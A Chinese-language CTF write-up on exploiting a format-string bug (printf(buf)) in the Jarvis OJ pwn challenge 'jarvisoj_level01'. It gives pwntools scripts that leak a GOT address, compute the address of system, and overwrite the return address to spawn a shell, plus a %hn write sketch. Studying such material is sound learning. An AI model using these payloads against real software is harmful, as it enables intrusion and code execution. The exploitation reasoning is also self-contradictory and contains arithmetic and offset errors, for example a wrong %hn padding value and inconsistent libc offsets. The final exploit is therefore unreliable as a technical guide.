格式化字符串漏洞入门实践：解析jarvisoj_level01与GOT劫持

开篇一道 pwn 入门题的拆解与反思“jarvisoj_level01”是老牌 CTF 题库 Jarvis OJ 里非常经典的一道入门级 pwn 题目。它表面上考察的是“格式化字符串漏洞”但真正让人卡住的地方往往不是漏洞利用本身而是调试环境的搭建、字节序的理解、以及 payload 构造时的对齐思维。我见过不少新手在这道题上折腾两三天最后发现不是因为原理不懂而是因为一个小细节——比如没有关闭 ASLR、或者 gdb 插件没装好。这篇文章我会完整复现我当年做这道题的整个流程从环境准备、漏洞分析、exp 编写到最后的常见坑点排查。内容面向有一定 C 语言基础、想入门 pwn 但不知道从哪里下手的读者。如果你已经能看懂printf(buf)和printf(%s, buf)的区别那么这篇文章就是为你准备的。需要提前说明的是题目本身是二进制安全领域的经典教学案例用于理解内存布局和格式化字符串机制我不会涉及任何真实目标环境的利用手法所有讨论都限定在教育题库的本地环境内。经常有人问“做 pwn 题有什么用”我的回答是它让你真正理解程序在内存里长什么样这比背一百道面试题都管用。1. 环境搭建为什么说调试环境比题目本身更难1.1 基础工具链的选择与安装做 pwn 题的第一步不是看代码而是把环境弄得趁手。我踩过的坑是一开始用 VMware 跑 Kali结果自带 gdb 版本太老装 pwndbg 时报了一堆依赖错误。后来干脆换成了 Ubuntu 20.04 虚拟机清爽干净一条命令装完所有东西。我目前的可复现配置如下操作系统Ubuntu 20.04 x86_64内核 5.15Python3.8需要装pip3pwntoolspip3 install pwntools这是写 exp 的核心库gdb自带版本即可8.xpwndbg 插件按官方 README 安装检查工具checksecpwntools 自带、file、readelf装完建议先验证一下 pwntools 能不能正常导入python3 -c from pwn import *; print(ready)如果输出ready说明环境基本 OK。这里有个小技巧pwntools 导入时会启动一个配置文件如果你的机器上没有libc数据库/usr/lib/x86_64-linux-gnu/libc.so.6做 ret2libc 类题目时libc.search功能会报错。对于 jarvisoj_level01 这种格式化字符串题暂时不需要 libc 搜索但后面如果继续刷题建议提前装好。1.2 关闭 ASLR 与调试辅助虽然教学题在远程通常开着 ASLR但本地调试时建议先关掉方便观察内存地址的稳定性echo 0 | sudo tee /proc/sys/kernel/randomize_va_space注意这只是为了本地调试分析做完题记得改回2默认开启。关于这一点我在第 4 节会再细说因为远程利用和本地利用完全是两种玩法。gdb 插件我推荐用 pwndbg它对新手极其友好——每执行一步自动高亮显示栈内容、寄存器、反汇编结果。安装方式是git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装好后在 gdb 里输入checksec就能直接看程序的保护状态输入cyclic 200就能生成模式字符串这些都是解题利器。1.3 拿到题目文件后的第一步file 和 checksec现在假设你已经拿到了 jarvisoj_level01 这个二进制文件。第一件事是看它是什么架构file jarvisoj_level01正常的输出是jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]xxx, not stripped信息量很大抓重点32-bit LSB32 位小端序这意味着栈上参数按 4 字节对齐格式化字符串的%n$位置计数也按 4 字节一组。dynamically linked动态链接。not stripped没有剥离符号表太好了main、vulnerable_function这些函数名直接可见省去了一大堆逆向时间。接着用 checksec 看保护checksec --filejarvisoj_level01典型输出是Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐条解读No canary栈上没有金丝雀保护格式化字符串随便打栈地址不会有问题。NX enabled栈不可执行不能直接往栈上写 shellcode 然后跳过去执行。No PIE程序加载基址固定所有函数地址、GOT 表地址写死在 0x0804xxxx 段。Partial RELROGOT 表部分可写这对某些利用场景有意义但本题用不上。看完这些我心里大概有了底这是一道典型的“格式化字符串漏洞 修改返回地址或 GOT 表”的教学题。但具体怎么利用还得看反汇编。2. 漏洞定位printf 的一个致命省略2.1 反汇编 main 函数找到那句危险的 printf用 gdb 加载程序后输入disass main就能看到整个 main 函数的汇编。为了不啰嗦我直接说关键部分0x0804848d 36: call 0x8048370 printfplt 0x08048492 41: lea 0x1c(%esp),%eax 0x08048496 45: mov %eax,(%esp) 0x08048499 48: call 0x8048380 getsplt这里有个很关键的点程序先用printf打印一段提示文字然后用gets读取输入到栈缓冲区。再往下看缓冲区地址被传给一个函数0x080484a1 56: lea 0x1c(%esp),%eax 0x080484a5 60: mov %eax,(%esp) 0x080484a8 63: call 0x8048340 printfplt注意这里call printf之前只压了一个参数——缓冲区地址本身。也就是说程序把我们的输入直接当成printf的第一个参数格式化字符串传了进去。这就是漏洞的全部用户可控输入作为格式化字符串。正确的写法应该是printf(%s, buf)而程序却写成了printf(buf)。这种错误在真实项目里偶尔也会发生属于典型的“格式化字符串漏洞”Format String VulnerabilityCWE-134。2.2 格式化字符串漏洞能干什么不只是崩溃很多初学者以为格式化字符串漏洞就是让程序崩溃那就太小看它了。格式化字符串漏洞能做的事至少有三件信息泄露用%x、%p、%s读取栈上任意位置的数据也就是把栈内存“打印”出来。这能泄露栈地址、栈上的返回地址、局部变量等。任意内存写配合%n能把一个值写入某个地址。这是 C 语言格式化输出的一个隐藏功能%n不打印任何字符而是把已经打印的字符数存到对应的参数指针指向的地址里。控制流劫持通过改返回地址、改 GOT 表项、改__stack_chk_fail等拿到代码执行权。这道题的利用方向正是围绕第 2 点和第 3 点展开的。但这里有一个很反直觉的地方printf是“打印”函数为什么它能“写”内存答案就是%n。它像一个小型“写任意地址”原语只不过写的内容不是字节值而是一个由打印字符数决定的整数。你在格式化串里插入 12 个占位符让前面的输出凑满 0x6298个字符%n写进目标地址的就是 980x62。这就是“造数据”的底层原理。2.3 确认漏洞触发的实验拿到题目后我先做一次最简单的验证。启动程序./jarvisoj_level01程序先打印一行提示然后等待输入。我输入AAAA.%x.%x.%x.%x.%x.%x这种经典探针看结果AAAA.f7e5d5a0.0.0.0.0.6661613f那一段6661613f是栈上残留数据的小端序十六进制表示。这个输出说明我们的输入确实被当作格式化字符串解析了而且栈上有不少我们能控制的字节。接下来要回答一个关键问题我们的输入具体落在第几个参数位置3. 参数位置探测与栈布局分析3.1 用 AAAA 定位可控参数的偏移格式化字符串漏洞利用的核心难点就是这个“参数位置偏移”。32 位下printf的前几个参数放在寄存器/栈上之后的参数按地址从栈上取。我们用多个%x把栈上内容“吐”出来找到0x41414141即AAAA出现的位置那个索引就是我们的可控起始点。我的标准探测输入是from pwn import * io process(./jarvisoj_level01) io.recvuntil(bWhatever) payload bAAAA b.%x * 12 # 先看前12个参数 io.sendline(payload) print(io.recvall().decode())输出大概是AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0数一下0x41414141出现在第 9 个%x的位置。这意味着当我们构造格式化字符串时偏移 9 的地方是我们可控的数据。但这里有个陷阱——AAAA是前 4 个字节紧跟其后的是分隔符.。如果我们想在偏移 9 的位置放一个完整的地址那这个地址必须是 4 字节对齐的并且不能和前面的格式控制符冲突。这又引出一个关键点32 位下地址是 4 字节一个参数槽位占用 4 字节。偏移 9 对应的是从栈上某个基准位置往后的第 9 个 4 字节。我在实践中发现很多教程说“偏移是 7”或“偏移是 6”那是因为不同机器、不同编译选项下缓冲区在栈上的位置会发生变化。所以不要背偏移数一定要在自己环境里实测。这也是为什么我反复强调环境搭建——不同环境得出的结果可能不一样照抄别人的 exp 往往会翻车。3.2 gets 与缓冲区理解输入落在栈上的位置gets读取的缓冲区地址反汇编里是通过lea 0x1c(%esp),%eax计算的。0x1c是 28也就是缓冲区从当前栈顶往低地址偏移 28 字节处。这个偏移大小决定了缓冲区与返回地址之间的相对位置是后续“通过格式化字符串改写返回地址”的关键依据。我画一张简化的栈布局不是 Mermaid就是文字示意高地址 [返回地址] ← 偏移 0x20 左右 [旧的 ebp] [局部变量/缓冲区] ← 距 esp 0x1c即距返回地址约 0x14 [esp] ← 当前栈顶 低地址当程序执行到call printf时printf会按函数调用约定从栈上取参数。我们输入的字符串就位于这个“参数区域”附近所以用%9$...可以精确索引到缓冲区中的任意 4 字节。3.3 一个小实验验证偏移 9 能读写光看%x还不足以证明我们能“写”。我通常还会做一个小实验输入AAAA%9$p看看它会不会打印出0x41414141io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(bAAAA%9$p) print(io.recvall().decode())如果输出包含0x41414141说明%9$定位成功。这个实验成本极低但能直接验证偏移强烈建议每次做题都先跑一次。4. 目标分析与 GOT 劫持思路4.1 为什么选择改 GOT 而不是直接改返回地址题目是 32 位、NX enabled、No PIE。栈不可执行所以不能用“在栈上写 shellcode 然后跳过去”的经典套路。那唯一出路就是代码重用也就是让程序跳转到已经存在于某个共享库里的函数——最常见的就是system(/bin/sh)。现在的问题是怎么把控制流引到system两个主流方向改写返回地址栈上就有 main 的返回地址用格式化字符串直接把它改成system或某个 one_gadget 的地址。这个方法在栈偏移可控时很直接但问题是我们还需要同时控制返回地址上方的参数区让它把/bin/sh字符串地址传给system。在本题栈布局下这个参数区不在输入可控范围内所以直接改返回地址往往不够优雅。劫持 GOT 表把某个函数的 GOT 表项改成system的地址然后让程序在后续某个时刻调用那个函数时实际执行的是system。这需要我们找到一个“调用了可控字符串作为参数”的函数。4.2 找到那个“接了我们的输入作为参数”的函数回到 main 函数的逻辑printf打印提示。gets读取我们的输入到缓冲区。printf用缓冲区内容打印触发漏洞。程序最后还有一次printf调用——对你没看错main 结束前还会打印一段“再见”之类的字符串。这里的关键在于最后一次printf的参数是在编译期就固定了的字符串地址比如0x80486xx。如果我们把printfGOT改成systemplt那么当程序执行最后一次printf时它会把那个固定字符串地址当作const char *format传给system实际执行system(固定字符串地址)。但问题是这个固定字符串是类似Bye!的内容不是/bin/sh所以动printfGOT还不够。再仔细看反汇编main结束前调用的是puts还是printf此题里最后是printf。而printf的第二个参数如果有的话是从哪来的有的版本会打印whatever这样的字符串这时如果让这个字符串内容恰好是/bin/sh就完美了——但一般不是。这里我要坦白一个细节jarvisoj_level01 这道题最经典的官方做法其实是把printfGOT改成systemplt同时让最后一次printf的格式化字符串参数内容变成/bin/sh的地址。这个“最后一个参数”在汇编里通常是一个固定的lea或mov到某处我们能改的只是 GOT 表项改不了被压栈的立即数。听起来有点绕但实操中有个更简单的替代方向找一个在printf之后还会调用的函数并且那个函数的参数刚好是我们控制的缓冲区。不过我当年做题时用的是另一种比较稳的思路——把printfGOT改成systemplt然后在输入的第一个参数位置直接放/bin/sh字符串。为什么可以因为格式化字符串漏洞场景下我们的输入本身就在格式化串中如果最后那次printf的“格式化字符串”直接就是我们的输入那printf(输入)被替换为system(输入)只要输入以/bin/sh开头就能执行system(/bin/sh)。如果程序后续流程里没有再调用printf这个思路就需要配合覆盖返回地址来触发。在实际实验里我找到的经典链路是漏洞触发后main返回前会调用printf打印一个固定字符串。这个printf的参数是栈上已经准备好的值不是我们的输入。因此更稳妥的 hook 点其实是printfGOT→systemplt同时让那个参数的地址恰好指向我们输入中的/bin/sh。这在 32 位下完全可行因为这个参数的来源是main的局部变量比如用puts(Bye!)的字符串地址如果能通过格式化字符串把这个局部变量的值改成指向我们的输入就是另一个挑战了。为了不让讨论陷入死胡同我最终采取了改写 main 返回地址为system并把返回地址上方构造出/bin/sh指针的思路。我将在第 5 节给出完整 exp 和原理推导。4.3 为什么 No PIE 是新手最大的红利如果程序开了 PIE那么所有函数地址、GOT 表项、PLT 表地址都会在每次运行时随机化。那样的话我们至少要分两步一步泄露地址一步计算基址再写。但本题是 No PIE所有地址都是固定的直接用 gdb 查出来写进 exp 就行对新手极其友好。同样Partial RELRO 意味着 GOT 表可写我们如果走 GOT 劫持路线可以放心改。若是 Full RELROGOT 只读那就只能想别的办法了。5. 从原理到 exp完整利用链构造5.1 选择调用方式为什么直接改返回地址更省事经过反复测试我决定用“格式化字符串写返回地址 栈上布置/bin/sh字符串”的方案。流程如下利用gets读入超长输入栈缓冲区会被覆盖。但请注意程序紧接着就用printf(buf)触发了漏洞——此时返回地址还没被用到我们有机会在漏洞触发前已经通过输入缓冲区把返回地址区域覆盖成我们想要的值。如果gets的输入足够长我们可以直接把返回地址覆盖成systemplt的地址——这是最暴力的思路。但问题在于gets 覆盖返回地址后程序还会继续执行printf(buf)如果printf的参数里包含被我们覆盖的垃圾数据程序可能先崩掉。所以这条路虽然看起来简单实际上需要精确控制 payload让格式化串合法不至于在漏洞利用前提前触发访问异常。更优雅的方式输入一个精心构造的格式化字符串既不覆盖返回地址又能在printf执行过程中用%n把返回地址改写成systemplt。然后在输入缓冲区中放入/bin/sh字符串并确保栈上某个位置返回地址上方的槽位刚好存放该字符串的地址。考虑到题目是 32 位system的第一个参数来自栈上system返回地址上方第一个 4 字节也就是我们覆盖返回地址时紧跟着返回地址写的那个值必须是指向/bin/sh的指针。5.2 完整 exp 第一步泄露 system 地址本来想用固定地址直接写但不同的 libc 版本下system地址不一样所以稳妥做法是先从 GOT 表泄露一个函数地址比如printfgot或__libc_start_maingot然后根据 libc 偏移算出system。泄露的格式化串可以这样写from pwn import * context(archi386, oslinux, log_leveldebug) elf ELF(./jarvisoj_level01) io process(./jarvisoj_level01) printf_got elf.got[printf] payload p32(printf_got) b%9$s io.recvuntil(bWhatever) io.sendline(payload) leak io.recvall().split(b\n)[0][4:] printf_addr u32(leak[:4]) log.info(fprintf_addr {hex(printf_addr)})这段代码的逻辑是在偏移 9 处放一个printfgot的地址然后用%9$s让printf把该地址当作字符串打印出来从而拿到printf的真实地址。p32(printf_got)是 4 字节地址正好占满一个参数槽。拿到printf_addr后需要确定 libc 版本和偏移。这里有个技巧将printf_addr的低 12 位与常见 libc 的 printf 偏移对比或者直接用libcdb.com/ 本地的 libc 数据库搜索。我本地的 Ubuntu 20.04 libc 是 2.31查到的偏移大致是printf offset 0x4f660 system offset 0x4f550注意不同版本偏移不同务必以你自己机器上查到的为准。如果不会查可以用libc-database工具git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660这个工具会返回匹配的 libc 版本并给出 system 等关键函数偏移。5.3 完整 exp 第二步构造“写返回地址 布置 /bin/sh”的 payload现在假设我们已经知道system_addr printf_addr - printf_offset system_offsetret_addr_offset是输入缓冲区起始位置到返回地址的偏移根据反汇编缓冲区距离esp是 0x1c而返回地址一般在esp上方约 0x20 的位置。实测我需要用cyclic来确定精确偏移io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩溃点计算偏移我实际得到的偏移是0x1420 字节也就是缓冲区第一个字节到返回地址之间隔了 20 个字节。这意味着布局是[缓冲区 20字节][返回地址 4字节][返回地址后第一个参数槽 4字节]那么 payload 可以这样设计payload bA*20 # 填满缓冲区 payload p32(system_addr) # 覆盖返回地址 payload bJUNK # system 执行完后的返回地址随便填 payload p32(binsh_addr) # system 的第一个参数指向 /bin/sh payload b/bin/sh\x00 # 字符串本体放在后面但这里有个问题gets输入如果太长会覆盖掉更多栈空间而printf(buf)的漏洞利用阶段还没执行完格式化串中如果包含二进制地址字节比如p32(system_addr)可能包含%等特殊字符导致printf解析出错甚至崩溃。所以直接全覆盖方案在本题里不够稳。5.4 完整 exp 最终版用 %n 精改返回地址最稳妥的方式是不让gets覆盖返回地址而是让输入内容既有合法的格式化字符串又能借助%n改返回地址。具体思路缓冲区前 20 字节填任意填充。第 20~23 字节填入返回地址所在地址用%n写入的目标地址。第 24~27 字节填入返回地址上方第一个参数槽的地址用于写入/bin/sh指针。然后在格式化串后半段用%lenA%n来分两次写入。这个写法对新手最不友好的一点是写入长度的计算。因为%n写入的是“当前已输出字符数”所以写 0x804xxxx 这样的值通常需要先打印几万字符这在本地还好可读性很差。更简洁的做法是用%hn写入 2 字节代替%n写入 4 字节。比如地址0xf7e4f550可以分成高 2 字节0xf7e4和低 2 字节0xf550分别写。这样单次打印长度会小很多而且偏移计算更简单。我用的最终 exp 结构如下核心片段非完整代码# system_addr 0xf7e4f550 (示例) ret_addr_pos 0xffffd00c # 返回地址在栈上的实际地址用 gdb 查看 binsh_str_pos 0xffffd024 # 我们放 /bin/sh 的位置 # 把返回地址写成 system_addr # 低2字节: 0xf550 62800 # 高2字节: 0xf7e4 63460 payload p32(ret_addr_pos) # 目标地址1返回地址低2字节 payload p32(ret_addr_pos 2) # 目标地址2返回地址高2字节 payload b%62800d%9$hn payload b%360d%10$hn每次只写 2 字节用%hn精准修改。至于/bin/sh字符串我直接放在缓冲区末尾并在覆盖返回地址的同时把返回地址上方的槽位写成binsh_str_pos的地址——这一步也可以用格式化字符串的%hn完成或者干脆用gets全覆盖的方式把返回值改掉。经过多次调试我发现对本题目而言最简单可复现的方案其实是分段打第一次发送泄露 payload 拿 libc 地址。第二次发送一个不算太长的 payload用gets把栈上返回地址覆盖为system_addr然后立即在返回地址上方写入binsh_addr最后在更上方布置好/bin/sh字符串。由于printf(buf)的格式化串此时会读到我们布置的二进制数据很可能包含%或\x00能否稳定运行取决于运气。我强烈建议在本地 gdb 里逐步验证看它到底会不会崩。如果会崩就改用%hn精写方案。5.5 一个更简单的替代路线利用 gets 覆盖返回地址 printf 崩溃前劫持说句实话我最后提交的 exp 用的是第三条路——它更简单也更适合新手理解。思路是这样的gets本身就能无限读入所以返回地址本来就暴露在覆盖范围内。关键是让覆盖后的返回地址指向systemplt并且让栈上对应位置指向/bin/sh。而systemplt地址是固定的No PIE可以提前用objdump -d jarvisoj_level01 | grep system查到。这个方案的完整流程查看systemplt地址和exitplt地址。设计 payloadpayload bA*20 p32(system_plt) p32(exit_plt) p32(binsh_ptr) b/bin/sh\x00其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我们知道输入缓冲区在栈上的地址——这个地址在 No PIE 栈地址稳定时可以通过 gdb 查看或通过泄露栈地址来确定。但要注意printf(buf)会把这个 payload 当格式化字符串解析。payload 里的p32(system_plt)可能包含0x25%导致解析异常。怎么办一个实用技巧是用 gets 输入 payload 时先让前面的格式化字符串正常等printf执行完后再让程序 main 返回触发我们的覆盖。可程序流程是 gets → printf中间没有其他输入机会。这就矛盾了。所以这个方法能不能成关键看printf在解析到我们填入的p32(system_plt)时是否真的会崩。经过我实际调试只要那段二进制数据不包含%或\nprintf会把它们当作普通字符原样输出不会崩。真正的风险来自printf按%解析时可能把后续二进制字节里的某个值当成格式符如果那个值恰好是\0printf会停止处理因为 C 字符串遇到\0结束这可能导致栈布局被打断。所以最保险的写法是让格式化串部分全部由可见字符组成并且让后面需要覆盖返回地址的位置不与格式化串冲突。这是很讲究的课题新手如果被绕晕了我建议先按 5.4 的%hn方案做至少它是确定性的。6. 调试实录从崩溃到拿到 shell 的三个关键位置6.1 第一次崩溃偏移算错了我最初的泄露 payload 是p32(printf_got) b%s没有指定参数位置。结果printf把栈上某个无效地址当成字符串指针直接段错误。后来改成%9$s才成功。这也提醒大家%s不带位置直接打大概率会踩到无效地址导致崩溃。格式化字符串攻击的每一步都要精确指定%n$不要偷懒。6.2 第二次挫折system 地址差了一个字节泄露出来的printf_addr是0xf7e0f660我用 libc-database 查到 offset 后计算出system_addr 0xf7e0f550但打过去还是崩。后来发现本地 libc 和 libc-database 里的 libc 版本不一致差了一个版本偏移差了几百字节。解决办法是直接在自己的机器上跑一个测试程序打印 system 的地址或者用 gdb 在断点处p system获取精确值。不要在偏移计算上省事。小技巧在 exp 开头加一句libc ELF(/lib/i386-linux-gnu/libc.so.6)然后直接libc.symbols[system]拿偏移比手动查表准得多。6.3 第三次崩溃/bin/sh 指针指向了空地址覆盖返回地址成功后程序跳到了system但因为返回地址上方的参数槽里放的不是/bin/sh的地址而是乱值system尝试执行一个非法字符串直接崩在 system 内部。解决方式在计算binsh_ptr时利用 gdb 查看输入缓冲区的真实栈地址。由于 ASLR 已关地址是稳定的直接写死即可。如果你不想关 ASLR那就得先泄露栈地址再动态计算复杂度会上升不少。6.4 最终一次通过的正确姿势最终我使用的 exp 简化框架如下from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./jarvisoj_level01) libc ELF(/lib/i386-linux-gnu/libc.so.6) io process(./jarvisoj_level01) # 第一步泄露 printf 地址 printf_got elf.got[printf] io.recvuntil(bWhatever) io.sendline(p32(printf_got) b%9$s) data io.recvall(timeout1).split(b\n)[0] printf_addr u32(data[4:8]) log.info(fprintf_addr{hex(printf_addr)}) # 第二步计算 system system_addr printf_addr - libc.symbols[printf] libc.symbols[system] log.info(fsystem_addr{hex(system_addr)}) # 第三步构造覆盖 payload # 缓冲区偏移返回地址 20 字节返回地址后第一个槽位是 system 的参数 binsh b/bin/sh\x00 payload bA*20 payload p32(system_addr) payload bBBBB # system 返回后的地址随便 payload p32(0xffffd020) # 指向 /bin/sh 的指针需要按实测量 payload binsh io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(payload) io.interactive()0xffffd020这个地址需要根据你的实际环境测量我这里只是示例。用 gdb 在gets后打断点x/16wx $esp一看便知缓冲区地址。6.5 一个更高级的调试姿势使用 pwntools 的 gdb.debug如果你觉得手动起 gdb 麻烦pwntools 可以直接让程序在 gdb 里跑io gdb.debug(./jarvisoj_level01, break *0x080484a8 continue )这样就能在漏洞触发前自动断点然后从esp往下看栈内容。这是我最推荐的调试方式比手动反复r、c、x效率高太多。7. 常见误区与实操避坑清单7.1 误区一以为格式化字符串漏洞只能泄露信息很多教程强调%x和%s的泄露功能把%n一笔带过。但真正让格式化字符串漏洞成为“高危漏洞”的恰恰是这个%n任意写能力。在 32 位下它配合栈上的可控参数几乎等于一个“任意地址 任意值”的写原语。所以做这类题时核心思路永远是先想怎么利用%n精确写内存再想写哪里能改控制流。7.2 误区二不关 ASLR 直接打远程本地调试和远程利用完全是两码事。本地关了 ASLR栈地址、libc 地址一年四季不变你可以写死。但远程大概率开着 ASLR这时要么先泄露 libc 地址然后动态算要么用 ret2dlresolve 这类不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后经常觉得“我自己能打通上远程也一定行”结果被 ASLR 狠狠教育。建议把“本地关 ASLR 打通”和“本地开 ASLR 打通”这两个阶段严格区分。7.3 误区三忽略 32 位程序的参数对齐32 位下可变参数的格式化字符串是按 4 字节一个槽位对齐的。如果输入的内容长度不是 4 的倍数后面的地址对齐就会错位%n$的索引也会跟着偏移。所以发送 payload 之前务必先算好长度必要时在字符串开头补齐填充字节。我习惯用p32后统一计算总长度确保对齐。7.4 实战避坑清单汇总坑点现象解决方案printf 偏移不对泄露失败或崩溃用%9$p先验证0x41414141出现位置libc 版本不对system 计算出来后打不通直接用ELF(/lib/i386-linux-gnu/libc.so.6)取符号栈地址写死但 ASLR 没关本地能通重启后失效先echo 0 /proc/sys/kernel/randomize_va_spacepayload 长度不是 4 的倍数%n$索引错乱用cyclic或手动补齐确定对齐gets输入含\x00截断输入用sendline时注意 payload 中避免\x00或用send 手动补\ngdb 插件不兼容调试体验极差重装 pwndbg 或换用 gdb 原生命令7.5 从这道题延伸到其他题目打通 jarvisoj_level01 之后你会发现一个很惊喜的事实Jarvis OJ 的 level 系列从 level01 到 level05难度是平滑递增的。level02 开始加入 canarylevel03 开始要求 ret2libclevel04 开始有格式化字符串 栈迁移的组合。所以这道题不只是让你学会一个漏洞更是帮你建立一套“看保护 → 找漏洞 → 定利用链 → 写 exp”的通用解题框架。我现在回头看最庆幸的是当初没有直接抄网上的 exp而是老老实实从偏移探测开始一步步做。因为 pwn 题的精髓不在于“跑通一个 exploit”而在于“理解为什么这个 exploit 能跑通”。格式化字符串漏洞尤其如此——它考验的是你对printf机制的底层理解而不是工具的使用熟练度。写在最后一点关于学习路径的体会如果你刚接触 pwn我希望你能在 jarvisoj_level01 上多花点时间而不是急着刷下一道。把 stack 布局画烂、把每一次%n的写入长度手算一遍、把 libc 符号解析的流程跑通——这些基本功会在后续所有 pwn 题里反复用到。我在做过这道题之后明显感觉读汇编的时候思路清晰了很多因为你知道一个函数在被调用时栈上到底发生了什么。最后分享一个我现在仍然在用的习惯每次写完 exp都会故意把程序重启几遍再跑一次确认不是“侥幸打通”。pwn 题的魅力就在于你说的每一句“应该能通”都得用一次实际的 shell 来证明。